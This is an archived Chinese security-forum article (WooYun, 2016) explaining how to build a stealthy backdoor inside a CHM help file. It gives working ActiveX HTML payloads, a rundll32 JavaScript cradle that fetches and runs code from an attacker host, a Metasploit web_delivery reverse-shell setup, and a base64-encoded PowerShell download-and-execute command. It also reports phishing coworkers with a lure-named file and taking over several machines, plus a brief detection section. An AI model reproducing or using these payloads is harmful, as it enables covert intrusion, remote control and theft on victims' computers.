# 高级组合技打造“完美” 捆绑后门

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-03-31T03:30:00Z
Canonical: https://wepostx.com/topics/166

> 乌云历史资料归档
>
> **原始作者：** Evi1cg
> **原始编号：** superkieran-wooyundrops:1121
> **原始发布时间：** 2016-03-31 11:30
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

![原文图片](/media/2016/06/67b86504c195739123ec6a5b3d75da8e)

# 0x00 简介

之前写过一篇关于客户端钓鱼的文章：[《使用powershell Client进行有效钓鱼》](http://drops.wooyun.org/tips/8568)中，在使用各个Client进行测试的过程中，个人发现CHM文件是最好用的一个，但是其缺点就是会弹黑框，这样就会让被攻击者察觉。那么怎么让他不弹黑框呢？那就是本文要介绍的内容啦~

# 0x01 CHM 简介

在介绍怎么使用CHM来作为后门之前，首先要知道CMH是什么东西。
CHM（Compiled Help Manual）即“已编译的帮助文件”。它是微软新一代的帮助文件格式，利用HTML作源文，把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等，并可以通过URL与Internet联系在一起。因为使用方便，形式多样也被采用作为电子书的格式。

# 0x02 CHM 制作

CHM的制作方法很多。有多款工具可以使用，这里就不在做详细的介绍了。本次测试使用了EasyCHM来制作CHM文件，使用起来非常简单。
新建如下目录，文件内容随意：

![原文图片](/media/2016/06/14328b7a382e81566eb173daaf5043d6)

打开EasyCHM，新建->浏览。选择该目录。默认文件类型：

![原文图片](/media/2016/06/3b2736d472bebfbb7c40863843267272)

点击确认，即可看到预览的CHM文件：

![原文图片](/media/2016/06/ce8ea196da9aa6693a40c0446408207f)

选择编译，即可编译成CHM文件。

# 0x03 CHM Execute Command

[email protected] 在twitter上发了一个demo，通过CHM运行计算器：

![原文图片](/media/2016/06/34daf38fc12c58180680bc489b9980df)

利用代码如下：

```text
#!html <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
```
将以上代码写入html，置于工程目录进行编译，生成CHM文件，运行此文件，弹出计算器：

![原文图片](/media/2016/06/ee0e03de811d3639c19942147801e93f)

# 0x04 去除弹框

有测试过nishang [Out-CHM](https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1) 的同学会发现，运行生成的CHM文件的时候会看到明显的弹框。就像这样:

![原文图片](/media/2016/06/20c40591f3a53e0cff28268b5c4df8a1)

某个晚上突然脑洞了一下，想到了一个好的方式来让他不显示弹框，即结合使用[JavaScript Backdoor](http://drops.wooyun.org/tips/11764)。经过测试，成功实现在不弹框的情况下获取meterpreter会话，此次测试使用一个我修改过的python版 JSRat.ps1 ，地址为：[MyJSRat](https://github.com/Ridter/MyJSRat)。使用方式详见 readme。
以下为完整的测试过程：

### 1、结合CHM + JSBackdoor
使用交互模式的JSRat server：

```text
#!bash python MyJSRat.py -i 192.168.1.101 -p 8080
```

![原文图片](/media/2016/06/14bfb7cc0d9be7a1c612f102eaf089cf)

访问 http://192.168.1.101:8080/wtf 获取攻击代码如下：

```text
#!bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
```
经过多次测试，成功将以上命令写入chm，其Html代码为：

```text
#!html <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> This is a demo ! <br> <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
```
编译以后运行，可以成功获取JS交互shell:

![原文图片](/media/2016/06/9ab6927560fe37e63a4cf98e4c7f466b)

直接执行cmd /c command 是会有黑框的，可以使用run来避免显示黑框。执行run以后，输入 whoami > e:\1.txt 之后通过read 来获取回显。

### 2、获取meterpreter会话
此次测试获取meterpreter会话的方式是通过执行powershell命令，直接获取，当获取客户端JS 交互shell之后自动执行powershell命令，获取meterpreter会话。具体操作如下：
开启MSF web_delivery：

```text
#!bash ~ msfconsole -Lq msf > use exploit/multi/script/web_delivery msf exploit(web_delivery) > set target 2 target => 2 msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(web_delivery) > set lhost 192.168.1.101 lhost => 192.168.1.101 msf exploit(web_delivery) > set lport 6666 lport => 6666 msf exploit(web_delivery) > set SRVPORT 8081 SRVPORT => 8081 msf exploit(web_delivery) > set uripath / uripath => / msf exploit(web_delivery) > exploit [*] Exploit running as background job. msf exploit(web_delivery) > [*] Started reverse TCP handler on 192.168.1.101:6666 [*] Using URL: http://0.0.0.0:8081/ [*] Local IP: http://192.168.1.101:8081/ [*] Server started. [*] Run the following command on the target machine: powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
```
装有powershell的客户端执行以下命令则可获取meterpreter会话：

```text
#!bash powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
```
由于存在特殊字符，我们可以把以上代码编码为base64格式，将以下代码存入power.txt

```text
#!bash $n=new-object net.webclient; $n.proxy=[Net.WebRequest]::GetSystemWebProxy(); $n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $n.downloadstring('http://192.168.1.101:8081/');
```
执行以下命令：

```text
#!bash cat power.txt | iconv --to-code UTF-16LE |base64
```

![原文图片](/media/2016/06/9dcf1dde00890028b81eabe39eb4c8e7)

最终要执行的powershell命令为：

```text
#!bash powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==
```
使用执行命令模式直接获取meterpreter会话：

```text
#!bash python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="
```
测试过程中，从运行CHM到获取meterpreter，客户端无明显异常，全程无黑框弹出，获取到meterpreter会话如下图：

![原文图片](/media/2016/06/d38f5d61a83e9f8fda7680fd390215e0)

### 3、是否被杀？
可能很多人会问，会不会被杀，下面是virscan的查杀结果：
[http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba](http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba)

![原文图片](/media/2016/06/cadd0415982c3c120110f1dd347199c4)

# 0x05 利用场景

一张图说明（让我猜猜你会不会点）：

![原文图片](/media/2016/06/cb1fdaaac0a08795f03fac539363a343)

注: 随便找了几个漏洞利用工具修改了文件名，并不代表原作者分享的工具有问题。

# 0x06 实际测试

是用上述方式制作chm文件，命名为一个比较有吸引力的名字，比如在公司技术群发了一个名字为"制作免杀后门.chm"的文件，实际测试结果如下图：

![原文图片](/media/2016/06/8c142c03fb4715de1b95d8b4a2abc7c9)

成功获取多个人的meterpreter会话。

# 0x07 防御

目前我还没查到什么防御的姿势，知道的小伙伴可以分享一下。最好就是提高个人安全意识，对于这类文件，多注意一下，尽量别乱点，如果非要点，可以放到虚拟机里面。使用procexp.exe可以看到存在后门的chm文件会开启新的进程：

![原文图片](/media/2016/06/6fbc07424fb0a370bb924a840f5279c6)

对于碰到这种后门，怎么溯源呢，其实也很简单，chm是可以反编译为html的。 使用windows自带的hh.exe 则可进行反编译。命令如下：

```text
#!bash C:\Users\evi1cg\Desktop>hh -decompile test poc.chm #test 为当前目录的test文件夹
```
执行结果如下：

![原文图片](/media/2016/06/f24d94291b181151f6a0b88816a897b2)

# 0x08 小结

此次测试就是对一些已知的攻击手法进行结合，结果是让此捆绑后门更加隐蔽，近乎“完美”，美中不足的是在文件开启的时候会出现短暂的卡顿。有时候小漏洞结合起来能造成大危害，小手法结合起来也能成大杀器。本着分享的精神将此姿势介绍，希望小伙伴们能免受其害。

# 0x09 参考

- [https://twitter.com/ithurricanept/status/534993743196090368](https://twitter.com/ithurricanept/status/534993743196090368)

- [https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1](https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1)

- [http://drops.wooyun.org/tips/11764](http://drops.wooyun.org/tips/11764)

- [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
本文由evi1cg原创并首发于乌云drops，转载请注明

## Replies
